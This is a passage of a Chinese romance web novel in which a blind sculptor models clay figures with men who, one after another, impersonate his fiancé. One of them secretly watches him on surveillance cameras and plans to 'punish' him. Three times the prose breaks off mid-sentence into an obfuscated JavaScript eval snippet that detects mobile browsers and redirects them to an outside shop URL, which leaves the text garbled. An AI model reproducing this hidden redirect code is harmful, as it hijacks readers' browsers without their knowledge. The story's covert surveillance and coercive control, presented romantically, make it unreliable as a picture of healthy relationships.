“我已经跟他说过,他同意了”柯玉树疑惑,“李阿姨,你最近好像有些心不在焉,是累了吗?” 李阿姨连忙摇头说:“没有没有,我不累,哪里会累!” 柯玉树却说:“照顾我这个病人确实挺劳累的,李阿姨,你看,要不你这周末放个假?我自己在家出不了什么事,程栖山晚上回来的时候也能照看我。” 柯玉树不是那种喜欢压榨员工的资本主义,虽然程栖山有时候粗手粗脚的,完全不会照顾人,但他至少有一双能看见的眼睛,拿个东西不在话下,柯玉树完全可以开口让未婚夫帮忙。 “不用了,柯先生,我不需要假期,我这就下楼去叫司机。” 李阿姨着急忙慌地走了。 柯玉树叹了口气,他总觉得李阿姨最近奇奇怪怪的,既然李阿姨不想说,他也不好多过问。 李阿姨把柯玉树扶进了车子后座,自己坐在旁边方便照顾柯玉树。 柯玉树失明后很少出门,上次从医院回来距离现在有那么久,所以车子发动后微微失重的感觉,让他有些恐慌,他下意识伸出手想要找抓握的东西,却扑了个空。 柯玉树有些茫然地抬头,居然透露出了几分脆弱的感觉。 “柯先生,不用担心,只是车子发动了而已。” 李阿姨一脸担忧地看着柯玉树,她的脸上全是纠结和不忍,柯玉树听着她的声音转过头,忽然勾起了一个浅浅的笑。 “嗯,我知道,谢谢提醒。” 那样温柔。 李阿姨的心又揪了起来,她欺骗了这么好的柯先生,但是倘若不按程雀枝所说的做…… 心乱如麻。 柯玉树再次回家的时候,居然觉得有些陌生。 这个他自己一点点布置出来的小居室充满闲情,就连玄关处的鞋柜都十分有设计感,然而他推开门后,却险些撞了上去。 李阿姨连忙把人扶住,“柯先生,有什么要拿的?告诉我就行。” 柯玉树却摇头,“你和司机先生先等在门口吧,我自己去拿。” 这是柯玉树的家,他不希望陌生人踏足。 于是李阿姨和司机站在门外等候,柯玉树摸索着进了门。门后面的衣架挂着一件黑色的风衣,室内弥漫着一股淡淡的洋甘菊气息,阳光照在沙发上,温暖而干燥。 柯玉树摸索着到沙发上坐下,回到了熟悉的缓解,一直飘忽不定的心也逐渐安定了下来,柯玉树没坐多久就站了起来,摸索着到了储物室,拿出陶泥和一箱子工具。 柯玉树没打算做瓶子,不需要拉坯机,但陶泥和其他工具也挺沉的,于是他一趟又一趟的,慢慢把这些东西挪动到门口。 司机等在门口没说话,李阿姨倒是有些担心地说:“柯先生,真的不需要帮忙吗?” 她生怕柯玉树磕磕绊绊,撞得一身伤口,到时候程雀枝绝对要拿她开刀。 “不用了,李阿姨,这毕竟是我家,不会受伤的,只是要麻烦你们二位再等一等,我还要拿些颜料。”柯玉树说。 虽然未婚夫不仅定制了画具,还买了颜料,但都不是柯玉树用惯了的牌子,他没办法精准把控颜料的色度,干脆回来取自己一直用着的。 要是未婚夫有空给他调个颜色就好了,只可惜他现在没了灵气,即便是握着画笔也画不出跟Ye同样水准的画作。 柯玉树握着颜料有些出神。 李阿姨依旧提心吊胆站在门口,生怕柯玉树撞到什么尖锐物品,然而没过多久她就发现柯玉树很会保护自己,不太熟悉的地方,他往往要用盲杖试探一下,才会接触。 即便是失明,柯先生却依旧坚韧不拔,能自己做的事,从不向旁人索求帮助,而自己却欺骗了他…… 李阿姨身为医生的良心再次碎裂,千疮百孔。 柯玉树收拾了一行李箱的东西,由司机帮忙提上车,有易碎品和尖锐物品,这次李阿姨说什么都不让柯玉树自己收拾了,于是柯玉树在车里静静等待。 一会儿后,车子外的动静没了,却迟迟不发车。 他问:“李阿姨,发生什么事了吗?” 无人回应。 柯玉树摸索着摇下车窗,想要探出头询问,忽然,窗外伸出一只手,带起一阵微风抚摸上了柯玉树的脸颊! 柯玉树:“!” 那只手只是轻轻摸了一下他的脸颊,然后就向下握住车把,打开了车门。 动作发生在一瞬间,男人拉开车门想要进来,柯玉树下意识用随身携带的美工刀向那人刺去! “嘶——” 男人躲开了柯玉树的美工刀,然后坐在他旁边小声说:“玉树!” 是程栖山的声音。 柯玉树当即往里面靠了靠,方才冷冽的表情竟数化成了对未婚夫的担心:“程栖山?你怎么在这?你没事吧?” 未婚夫坐到柯玉树旁边,驾驶座的车门也被打开,应该是司机回来了。 未婚夫说:“嘘,咱们先回家。” 于是柯玉树闭上了嘴,但心中还是惊疑不定,直到未婚夫拉着他的手摸向自己的脸,柯玉树这才确定,确实是程栖山。 他蜷缩了下手指,又问:“发生了什么事?我刚才伤到你了吗?” “有人在追杀我们,李阿姨他们先走了。放心,我没受伤,只是没想到我家玉树居然随身带刀保护自己,很不错。”未婚夫说。 他的声音有些轻,被车窗灌入的风带走,还带着几分沙哑,不知道是不是刚才在外面打了架的缘故。 柯玉树的手从未婚夫的眉毛向下,一直抚摸到下巴、喉结,直到触碰到粗糙的布料,才叹了口气。 “你没事就好,追杀你的是仇家?” 他全身心关注未婚夫的状况,对自己身处的险境完全不在意。 “是,连累你了。”未婚夫说,“放心,李阿姨他们也没没事。” 柯玉树又问:“你今天工作不忙吗?怎么亲自过来一趟?” 未婚夫回答:“还是你重要些,今天的话……公司确实忙,但是我不忙,放心。” 因为有其他人在忙。 两人回了家,到达专属电梯门口,柯玉树用业主卡刷开电梯,和未婚夫并肩走了进去。 司机提着柯玉树的东西也想进去,未婚夫却把东西却都接了过来。 “我来拿吧,你在下面等。”未婚夫说。 柯玉树向他那个地方转过去,问:“东西有些沉,不让司机帮忙吗?” “这点东西我还是拿得动的。”未婚夫说。 柯玉树没再说什么。 来到家门口,未婚夫又说:“玉树,你先开下门,我再给司机打个电话,让他看看楼下有没有可疑的人。虽然这边区域安保很好,但保不齐有人追上来。” 柯玉树:“嗯。” 他用自己的指纹刷开了锁,然后站在门口等未婚夫和司机说完话,才一同回了家。 把柯玉树的东西放好,未婚夫漫不经心地说:“下次不会再让你遇到危险了,今天是意外。玉树,我这次回国,有无数双眼睛在我背后盯着,为了你的安全,以后你尽量不要出门。” 是合理的要求,和昨晚说的话术却截然不同,一个霸道,一个却循循善诱。 柯玉树没说什么,只是乖乖点头。 未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949066|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚夫又问:“箱子需要我帮忙打开吗?” 居然知道问问题,而不是自己擅自打开,柯玉树挑了挑眉,没想到未婚夫拟人状态居然保持到了现在。 “好啊,谢谢你的帮忙。”柯玉树说。 未婚夫可以动他的东西,外人不行。 柯玉树把人放进自己的领地后,能把这人给宠上天,庭英对此深有体会,简直情深似海。 抛弃人的时候也是真无情。 未婚夫似乎也想到了这里,他轻笑一声,然后问:“玉树,你不管怎样都不会拒绝我的要求吗?” 柯玉树迟疑了一下,然后点头说:“至少在我们关系存续期间不会。” 未婚夫又笑了,笑声低低的,像是一只花蝴蝶扑闪着。 “我的荣幸。” 柯玉树:“……” 他有时真的觉得未婚夫蛮诡异的,难道说程家祖上的风水有点问题? 未婚夫笑完,又感叹:“玉树是真的喜欢我啊。” 他牵着柯玉树来到沙发旁边,先让柯玉树在沙发上坐下,又把箱子提了过来,蹲在柯玉树面前。 男人走动的时候带起一阵阵雪松香气,他帮着柯玉树打开箱子,然后在柯玉树的指点下,将里面的东西一一拿出。 “画布、陶泥、雕刻工具……嗯,玉树打算做什么?”未婚夫问。 柯玉树定定望着眼前的人:“你。” 未婚夫:“……” 程诲南差点没绷住,险些以为柯玉树说的真的是自己。 是的,上车到现在以来,从来都没有什么程雀枝,一直都是程诲南,他这些天被程雀枝严防死守,好容易抓住个柯玉树出门的机会,自然要凑上来玩玩。 他很久没遇到这么有意思的乐子了。 “既然玉树要给我做造型,那却之不恭,我给玉树当一下午的模特都行。”程诲南说。 下午的时间很充足,还有四五个小时,足够柯玉树捏一个模型出来。 “那我能再摸一下你的脸吗?”柯玉树问。 未婚夫的想法跟六月的雨一样,阴晴不定,前段时间拒绝柯玉树的触碰,偏偏有时又很主动,比如那天晚上。 柯玉树再次确定未婚夫可能有精神分裂症,于是每一次想要触碰他的脸,都会提前询问意见。 “当然,你随时可以对我做那种事。”未婚夫说。 柯玉树:“?” 什么话?哪种事? 柯玉树明白了,他未婚夫有时候是冷硬又阴暗的败犬,有时候便是眼前温柔体贴的年长恋人,只有后者乐意让他摸脸。 “那我摸了?” 柯玉树伸出手,手指皮肤白皙,骨节分明,唇边勾起清清浅浅的笑容。 一时间竟让程诲南有些发愣。 程诲南的情人众多,他永远都居于高位,占主导地位,没有为哪个情人失过控。身边的人换了又换,却从来没有跟任何一个发生过关系。 人活在这世上,总免不了一些奇奇怪怪的癖好,程诲南的是洁癖,即便送到他面前的是涉世不深的学生,程诲南也总觉得他们身上有一股奇怪的味道。 他喜欢完美无瑕的人,至少裸露在外的皮肤不要有任何斑点、瑕疵或者是痣,但完美无瑕的人太难找,有的时候下属都觉得老板在找茬,敢怒不敢言,于是程诲南身边的人换了又换,他的年岁也越来越大,至今都找不到一个合心意的人。 直到最近,程诲南见到了侄子的未婚夫柯玉树,他才知道原来人真的能漂亮无暇成这样。 如果联姻对象是柯玉树的,他勉强能接受,反正到最后都是要收心的,更何况柯玉树好拿捏,还是个恋爱脑。 为什么偏偏让大侄子抢了先? 11. 甜蜜手作偶 11 一只微凉的手握住了柯玉树的手腕,未婚夫跟大型犬一样蹲了下来,来到柯玉树面前。 他的手指顺着柯玉树的手腕一路往上,捏住柯玉树的指尖,引导着柯玉树触碰自己的鼻梁、鼻尖再到上唇。 柯玉树细细记着未婚夫脸部的尺寸,他不知道的是,面前的程诲南眼神一直飘忽不定。 游刃有余的花花公子,此刻仅仅因为他的触碰而神情恍惚,喉结滚动,全然看不出一丝淡定的神色。 柯玉树记录下缪斯脸部的大致尺寸,收回手,脸上依旧勾着浅浅的笑。 “好了,谢谢你,作为回礼,我教你做陶偶怎么样?” 程诲南:“当然可以。” 柯玉树得到肯定的回答,将一直放在上衣口袋的发带拿了出来,他的头发本就偏长,这几个月没剪,已经长到了身后的蝴蝶骨,平时吃饭的时候会散落下来,于是李阿姨为他找了一条浅绿色的发带。 柯玉树抬起手腕,用发带系住散乱的头发,前面的碎发他就没办法了。要是李阿姨在,或许会给他拿几个小钢夹别起来,但现在李阿姨在外面避难,柯玉树也就没那么多讲究。 程诲南越来越不敢看柯玉树。 美人微微抬头露出了纤细的脖颈,他双手没空,干脆将发带叼在嘴里,露出了一小节洁白的牙齿,唇瓣也被压迫,看得程诲南心猿意马,猛掐自己大腿。 好在柯玉树并没有绑多久的头发,程诲南这才松了口气,照着柯玉树的指示做准备工作。 家有的工具柯玉树没拿,而是让未婚夫帮忙找出来,却没想到未婚夫对自己家似乎也不太熟悉,找半天没找着。 程栖山应该是那种从来不会下厨的大少爷,有些东西就连柯玉树一个瞎子都知道,他却不知道在哪里,还得柯玉树开口提醒。 不过好在两人还是找齐了铁丝、锡纸等工具,再加上柯玉树从家里带来的木刀、泥针和锥子这些,简单的做陶偶的工具就备齐了。 泥针和锥子大多时候由未婚夫看管,只有柯玉树需要的时候未婚夫才会拿给他,免得碰伤。 柯玉树软化陶泥,然后撕了个巴掌大的递给未婚夫,让他先上手找找感觉,自己则在旁边简单搭建骨架。 差不多半小时后,柯玉树停下了手中的木刀,半身陶偶已经有了雏形,他打算再摸摸未婚夫,试试尺寸。 浅浅的呼吸声在右侧,柯玉树转过头,听到未婚夫轻声问:“怎么不继续了?” “来教你,现在手感怎么样?”柯玉树问。 程诲南已经捏出了了人偶的大致形状,但听到柯玉树说要教他,右手一用力,人偶的头就被掰了下来。 “好像有点感觉,”程诲南还把可怜的陶泥扭成了团,“但还是有些不太会。” 程诲南把手中陶泥塞到柯玉树手里,柯玉树捏了捏手中坑坑洼洼的陶泥,无奈。 “新手大多数时候不会捏人,栖山,你想捏什么小动物吗?或者小东西。” 程诲南思索片刻,问:“玉树会帮我捏吗?我的意思是,要是捏出来的不好看,玉树会给我场外指导吗?” 柯玉树:“当然,如果你想的话,我肯定会教你。” 程诲南一听他的保证可就来劲了,乐呵呵地说:“那就捏一个Q版的你,我想看你戴红围巾的模样。” 柯玉树抓着陶泥的手忽然握紧,疑惑问道:“为什么是红围巾?我现在暂时没办法为陶偶上色。” 为什么是红围巾,而不是其他颜色? 程诲南却理解成了另一个意思。 “不要担心,玉树,医生说你的眼睛会好的,到时候上色轻轻松松。要不就只戴个围巾怎么样?白瓷干净那就不上色,Q版的你带上围巾肯定可可爱爱的,也冻不着。” 柯玉树低声纠正说:“我们做的是陶器,不是白瓷。” 程诲南:“……” 基础目标定下,做一个Q版的柯玉树,柯玉树这个盲人做决策,一个敢交,一个敢学,两人居然还真捣鼓出了个大概雏形。 程诲南心细如发,曾经在枪林弹雨里穿行,后来更是在商场上摸爬滚打,才没让自己连带两侄儿被家族那些老东西吞并,现在却忽然变得笨手笨脚,就连一两个圆柱体都要柯玉树上手帮忙。 “对不起,玉树,是我太麻烦你了。只是它总是裂开,唉,果然还是我手太笨,我手法有问题。”程诲南十分委屈。 柯玉树:“没关系的,不觉得麻烦。” 柯玉树很淡定地帮他补了一遍又一遍的裂缝,到最后更是手把手教他怎样捏自己的脸,四手交握,未婚夫把柯玉树整个人都圈了起来,身形相差无二的两人交缠着,像是一对亲密的爱侣。 柯玉树其实有些后悔,他原本只是打算是增进一下感情,这样也能顺理成章提出再摸一下脸,确定尺寸,现在却发现这都是在浪费时间。 他要是真把未婚夫教会,估计今天就过去了。 到最后,柯玉树是真的手把手跟未婚夫捏陶偶,陶泥都被两人的手给捂热了,Q版柯玉树才勉强完成。 虽然表面上有些粗糙,但程诲南依旧爱不释手。 柯玉树拿起手机,一听时间,发现已经过去快两个小时了,他无奈叹了口气,还是轻声说:“最后用湿海绵擦一下表面的裂纹,就可以风干了,大概风干五天,然后跟我做的半身偶一起送去烧制。” 程诲南说:“好,到时候我一起送过去。” 真是一次新奇的体验,程诲南用湿海绵擦拭小陶偶身上所有的皱褶和纸痕,留下柯玉树引导着他勾勒出的弧线,那样简短而干净的弧线组成到一起,居然能这么可爱。 他甚至情不自禁哼哼起了歌。 “昨天晚上有个贼……” 有些耳熟,是首老歌,就是歌词不太对。 柯玉树:“……” 柯玉树擦干净了手,手上揪着一张消毒湿巾,望着未婚夫有些犹豫。 程诲南一看就知道他在犹豫什么,于是大手一挥,十分豪迈地说:“来吧玉树,随便摸!” 柯玉树:“……好。” 怪怪的。 程诲南甚至还找了个凳子坐下,两人的身高相差无几,都有一米八,程诲南坐下的话柯玉树更加省力。 柯玉树有些感动,他的温柔年长恋人果然好说话,他对比着眼前人的脸部线条,将其分毫不差地复刻在半身偶上。 柯玉树不是新手,大概一个小时就能出胚子,修饰之后风干七天,烧制七天,到时候倘若未婚夫又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949067|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝他,他完全可以摸陶偶缓解对缪斯的执念。 他这样想着,嘴角含笑,却把程诲南这个本尊看呆了。 柯玉树真这么喜欢程栖山的脸? 那他到底是喜欢程栖山的人还是喜欢他的脸,程诲南忽然有些不确定了,如果喜欢的是程栖山的脸,现在玉树触碰的是自己的脸,是否就意味着玉树…… 也可以来喜欢他? 程诲南顿时心猿意马,想为自己找一个家。 柯玉树温柔又善良,不争不抢,最适合做伴侣了,而且柯玉树的性格和二侄子那条阴暗潮湿的蛇完全不匹配,和他最为相配。 他程诲南有脸有身材,有声音有权势,还有大把大把的钱,怎么说都比二侄子好上一大截,现在大侄子又成了植物,他跟二侄子谁都没去浇水,绝对发不了芽,玉树最好的选择就是他! 程诲南越想越远,这时候柯玉树已经做好了陶偶的大概雏形,他摸索桌沿想要到未婚夫旁边去,却不想手臂不小心碰到了泥针的柄。 往日趁手的工具因为视觉障碍完全不受控,沿着桌沿碌碌滚落。 “小心!” 程诲南的声调都变了,他飞扑过来接住了泥针,因为泥针正对着柯玉树的脚! 柯玉树在家的时候一般不穿拖鞋,他脚背苍白,青筋若隐若现,脚趾头却泛着淡淡的粉红,此时正微微蜷缩着,勾着地毯。 程诲南握着泥针,有些恍神。 难怪程雀枝没劝柯玉树让他穿上拖鞋,地上凉的话,大不了多买一些昂贵的地毯,这么好看的脚不露在外面欣赏也太可惜了。 还好程诲南提前接住了泥针。 泥针划伤了程诲南的手指。 “嘶——” “栖山,怎么了?”柯玉树难得有些慌乱。 他摸索着寻找未婚夫的位置,却不小心被桌角磕了小腿,顿时疼得眼眶泛泪,但还是忍着痛呼问:“栖山,你怎么了?你在哪里?” “我在这里。” 柯玉树被揽入了个温暖干燥的怀抱。 程诲南把柯玉树抱起,到沙发上降落,然后掀起柯玉树的家居裤,松松垮垮的裤子划过雪白的肌肤,一眼就看到了柯玉树小腿上被磕出的伤口。 已经破皮了,甚至还在泛红,说不定过一会儿就会变青。 程诲南叹了口气,“怎么这么不小心?我皮糙肉厚的挨一针也没事,稍等一下,我去拿冰袋。” 程诲南起身打算去冰箱拿冰袋,柯玉树抓住他的衣服,说:“记得拿个医药箱,你的手也受伤了。” 程诲南丝毫不在意地说:“没事,不是什么小伤。” 柯玉树抿唇不语,抬头望着他。 未婚夫贴心地拿来冰袋,给柯玉树小腿的红痕冰敷,柯玉树还是一言不发,很倔强。 如果还是那个温柔恋人的话,应该能懂他想要表达的意思。 果不其然,未婚夫叹了口气,说:“别生气了,柯教授,我的未婚夫,手上的伤口真没事,要不你来帮我贴创可贴?” 柯玉树垂下头,低低应了一句:“……没生气,我帮你包扎。” 然后勾起一抹不易察觉的笑。 程栖山,你…… 真是个精神分裂患者啊。 12. 雀の绿帽2.0 12 柯玉树找出酒精喷雾为自己双手消毒,然后熟练拆开了碘伏棉签,再在未婚夫的引导下,找到未婚夫右手被泥针刺的小孔。 伤口果然不大,柯玉树松了口气。 他为未婚夫贴好创可贴,末了还捏着未婚夫的衣袖,小声说:“对不起,是我不该乱动。” “不是你的错,是我没看好,还在把你当成正常人对待。玉树,你太坚韧了,总让我觉得你的双眼还能看得见。” 程诲南抚摸着柯玉树的眼睛上的纱布,这是他的心里话,程诲南有时真觉得柯玉树即便看不见,也把所有事都看得清清楚楚。 不过他知道,这都是自己的猜测,柯玉树确确实实瞎了。 两人互相认错,柯玉树愣了一下,然后笑开:“栖山,说什么呢,你泥胚弄好了吗?弄好了的话就放在木板上阴干吧,时候不早,是时候该准备晚饭了。” 时候不早了。 柯玉树的话就像是午夜十二点的钟声,猛然敲醒了程诲南的幻梦。他也有灰姑娘的水晶鞋,他的资本甚至比灰姑娘和那些真正的公主还多了不少,但他依旧名不顺言不顺,到现在才记起自己并非柯玉树的未婚夫,而是一个冒名顶替的冒牌货。 而这里,甚至也不是他的家。 程诲南低低地嗯了一声,他这段时间专门为柯玉树学的,属于程栖山的声音终于发挥了作用,即便不用变音贴,他也能学得十分相像。 却没有用。 因为替身终究是替身,程诲南上了年纪,终究不能学着小年轻那样自欺欺人。 程诲南牵着柯玉树的手,带着柯玉树到了固定板面前,看着他把两人共同制作的Q版小人固定在板子上。 动作细致认真,因为这是柯玉树和未婚夫亲手做的陶偶。 程诲南忽然说:“玉树,是时候了,我要出门去取个文件。你一个人在家不要害怕,李阿姨很快就会回来,放心。” 柯玉树放好Q版陶偶,然后轻轻点头,“好,那你早点回来,注意安全。” 程诲南:“好。” 他打开大门,扭头看了一眼,柯玉树正站在半身偶前修饰细节,属于程诲南的脸已经成型。 属于他吗?程诲南关上门,神情逐渐黯淡下去。 要一直这样吗? 不可能,程诲南感兴趣的必须要得到,他打电话给下属:“放他们回去,别太粗鲁,该说的不该说的都明白?” 下属:“放心,老板,都已经做好了。” 程诲南缓缓放下手机。 凭什么二侄子先来一些他就得让?柯玉树明明更喜欢的是他才对,还是那句话,小的争不过老的。 程雀枝,不被爱的才是小三,你一个乳臭未干的小子怎么和我争? …… 屋内,柯玉树慢慢勾勒着心中缪斯的模样,他也轻哼起了自己家乡的小调和,忽然想起未婚夫刚才哼得歌词,有些沉默。 未婚夫似乎挺喜欢老歌? 柯玉树笑了一声,没想到这位年上温柔恋人居然真的有些老。 平层大门打开,柯玉树没有回头,李阿姨回来会直接跟他讲话,这次回来的人大概率还是未婚夫。 “怎么回来的这么快,文件拿回来了吗?” 带着几分寒凉的气息凑近柯玉树,柯玉树听到自己未婚夫沉着声音问:“什么文件?” 程雀枝今天在公司里忙了一天了,一直在连轴转,公司突然莫名其妙多了一大堆繁琐的任务,还必须要他亲自出面,他甚至连看监控的空闲都没有,直到刚才下班才扫了眼。 家里只有柯玉树一个人,他在安静忙活着些什么,看着很乖,很听话。 程雀枝沉默着站到柯玉树旁边不动,也不帮忙。 柯玉树转头望向他,似乎有些疑惑。 “你刚刚说的啊,出去拿个文件。” 程雀枝沉默了很久,才道:“嗯,拿到了,放在车里。” 柯玉树轻笑一声。 未婚夫张口瞎编的声音也挺好听,柯玉树知道他这理由是现编的,这男人大概率是又转变了人格。 这么突兀吗?甚至没有一点预兆。 柯玉树说:“知道了,李阿姨现在还没有回来,点外卖怎么样?除了花粉过敏,你有什么忌口?” 程雀枝又有些疑惑地问:“李阿姨怎么了?” 柯玉树忽然靠近程雀枝,状似担忧想要摸一摸他的额头,确认是否发烧,却被程雀枝躲了过去。 柯玉树说:“栖山,你又忘了吗?今天我出门被袭击了,李阿姨她们先走,你保护我回来的。栖山,你是不是身体不舒服吗?有没有发烧?” 程雀枝忽然握住了柯玉树的手,眉头紧皱。 柯玉树右手一直握木刀,干干净净,现在被未婚夫捏在手里,他挣扎了一下,那双温暖干燥的手却握得更紧了。 怎么回事? 柯玉树也顾不得脏,用沾着灰尘的左手向未婚夫探过去,没想到未婚夫竟然站在原地没有动,直到柯玉树的指尖触碰到他冰凉的衣领,他才说:“出去吃吧。” 柯玉树微微挑眉,他捏着未婚夫大衣的衣领,偷偷将手指上的陶泥和灰尘都擦了上去,然后柔顺点头说:“好。” 怎么突然想出去吃?柯玉树不懂,但他还是打算收拾自己打算出门。 柯玉树一侧身,程雀枝就看到了柯玉树一直在做的陶偶,那陶偶足足有半人大小,刚好也是个半身偶,旁边还放了个Q版陶偶,程雀枝认得出来,那是Q版的柯玉树。 他眉头跳了跳,看着半身偶那张让他心情复杂的脸,问:“你做了一下午的这个吗?” 这张脸,再加上柯玉树口中莫名其妙的文件,程雀枝哪里能不明白发生了什么? 未婚夫的声音压着愤怒,柯玉树却觉得有些茫然,“对,Q版小偶是你做的,又不满意了吗?” 难道说不同人格之间审美也不同吗? 蛮诡异的。 “没有不满意,你先去换衣服。”程雀枝咬着牙说。 既然正主都说没意见了,柯玉树也就没再多做纠缠,他摸索着回自己房间,然后关上门。 柯玉树房间其实很隔音,但是还是隐约听见外面似乎有什么碎裂的声音,没过多久大门被重重拉开,隐隐约约有男人的怒吼声传来。 柯玉树有些担忧,精神分裂会引发狂躁症吗?有些会不对版啊…… 唉,要是结婚以后程栖山激怒了自己,他们两个应该会互殴增进感情,说不定要走柯家父母的老路。 不过还好,柯玉树跟未婚夫的武力值相差不大,势均力敌,要是未婚夫再柔弱一点,他都有些欺负小可怜的罪恶感,不过那都是以后的事。 柯玉树还不确定未婚夫在他这里的保质期有多久,说不定半年过后他就对这位缪斯不感兴趣了,到时候两人回归正常联姻夫夫的关系,也挺好。 柯教授一向看得开。 想通一切,柯玉树换了大衣,又把自己身上的配饰都搭配好,最后再在脖子上围了条围巾。 围巾应该是红色的,柯玉树不知道,他也没所谓,反正这些都是百搭款,怎么搭都不会错。 换好衣服回到客厅,柯玉树叫了两声未婚夫的名字,没有人应答,他叹了口气,刚才摔摔打打的果然是他沉稳可靠的精英未婚夫。 就不能好好做一下情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16949068|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪管理? 柯玉树摸索着回到桌子前面,确定两个陶偶都还完好后,又扶着墙来到门口。 开门,却没想到浓浓的烟味扑面而来,有一个陌生的男人站在楼道,似乎在打电话。 “……你他妈的有完没完,信不信老子现在就去弄死你,当小三很好玩吗?贱人!” 门开后,程雀枝优美的语句戛然而止,听他的声音远近,估计就靠在平层的门口。 程栖山的平层独门独栋,这人怎么过来的? 柯玉树微微皱眉,他可不想吸别人的二手烟,于是他冷冷问道:“先生,你在我家门口有事吗?” 柯教授的表情让程雀枝感到无比陌生,他脸上像是笼了一层寒冰,封藏在寒冰下的,是厌恶。 程雀枝愣住了,彻底傻了。 自己这是被玉树厌弃了吗? 程雀枝慌忙掐灭手中的烟,然后轻咳了几声,说:“我、我就是在……” 程雀枝感觉自己现在跟个毛头小子似的,一时间不知道该说什么话,甚至有些手足无措。 忽然,他发现自己用的是原本的声音,一个大胆的想法突然冒了出来。 玉树对他的态度这么冷淡,是因为他没有用程栖山的声音?那他现在是不是可以装成路人? 柯玉树等了半天,没等到这人的回答,于是冷淡点头说:“要是没什么事就走吧,不要在别人门口蹲着抽烟,很讨人厌。” 柯玉树说完就关上了门,留程雀枝蹲在原地,一脸茫然。 所以说玉树真的没认出来自己的声音。 如果他真的用自己的身份接近玉树,是不是也会得到这样的态度,他们之间还有结局吗? 不,不行,至少现在不能向玉树摊牌,不仅因为有个正在虎视眈眈的程诲南,还有他曾经的偶像、名满中外的天才画家Ye先生,要是让柯玉树知道程栖山早成了植物人,柯玉树一定会离开! 程诲南他尚有一战之力,Ye先生就不一定了! 程雀枝的脸色瞬间沉了下去,他把烟头狠狠摁在地上,用皮鞋踩熄,又看着肮脏的烟油,然后从西装口袋里掏出手帕,把烟头包了起来,甚至把光洁的地板擦了个干干净净。 玉树不喜欢闻烟味。 程雀枝转身离开了楼道,把手帕连带着烟头丢进垃圾桶。 他忽然有种绑不住柯玉树的错觉,就像古代成亲多年,却没能生出孩子的主母,只能看着夫君在外面另寻新欢…… “啪!”程雀枝给了自己一巴掌,“你他妈脑补的什么东西,简直荒唐!” 不过,他确实需要一个人绑住柯玉树。 柯月叶。 程雀枝一脚踢开垃圾桶,打电话给程诲南:“做个交易。” 没几句话,他咬牙切齿地说:“程诲南,你真他妈是活腻了,敢提这种要求?!” 狠狠挂断电话,程雀枝下到地下车库找了个监控死角,对着墙又砸又骂,活像一个惨遭抛弃,又被小三找上门来狠狠打脸挑衅的疯婆子。 忽然,程雀枝脑子闪过一个念头,他又打电话给下属:“想办法让程诲南知道我在查柯玉树和Ye的关系,最好让他知Ye喜欢柯玉树。” 程诲南,跟我斗是吧?要是你知道还有个Ye你不炸了? 将胸口的恶气发泄了一些,程雀枝又抽了根烟来到车前,等柯玉树下来。 他其实一直都有烟瘾,但为了伪装成从不抽烟的程栖山,程雀枝憋了个把月,都快戒烟了,现在是因为被气得肺都炸了,才忽然想抽支烟,却没想到直接被柯玉树撞破。 想起柯玉树皱眉模样,程雀枝有些纠结。 ……他要不要戒烟? 13. 雀の绿帽3.0 13 为了柯玉树戒烟吗? 程雀枝又狠狠踢了一脚旁边的墙面。 为了一个人戒烟?根本不可能,他程雀枝怎么可能是这样的舔狗! 程雀枝这样想着,越想越烦躁,忽然手机响了,他掏出来一看,居然是柯玉树打过来的。 程雀枝清清嗓子,接通了电话。 “喂?” “程栖山,你到哪里去了?我收拾好,没见着你人。”柯玉树说。 柯玉树对自己未婚夫说话时永远那么温柔,程雀枝一边享受着这份独一无二温柔,一边唾骂着自己真是个舔狗。 因为他已经把烟蒂按在了墙角,还脱掉身上沾了烟味的衣服。 “我在车库,”程雀枝把衣服揽在手里,“自己下来。” 想要他上楼去接人?门都没有。 程雀枝说完就挂断了电话,他手捏着沾了烟味的衣服,想了想,还是走到拐角的垃圾桶,把衣服丢了进去。 回到车上,程雀枝把备用外套拿出来抖了抖,又摸出驾驶座暗格里的香水,喷了两下,然后披在身上原地跳了跳,散味。 做完这一切,程雀枝忽然僵硬住了。 他在做什么? 程雀枝越想越觉得羞赧,他是喜欢柯玉树,但不至于做这些吧?他一个大男人为什么要像青春期的少女一样做这些事? 还喷香水! 程雀枝脸色变了又变,干脆钻进车内调出了监控,看着平层的画面,他感叹:“这才是成年人该干的事啊……” 那双鸟雀似的眼睛盯着手机屏幕,监控里,柯玉树正一脸茫然站在客厅,好像对程雀枝刚才的电话有些不知所措。 程雀枝看着手机里柯玉树的脸,轻轻抚摸:“玉树,这次是你不乖,你得求我,我才会去接你。” 被程诲南那个老不死的碰了,不管柯玉树是不是被骗,都必须受惩罚。 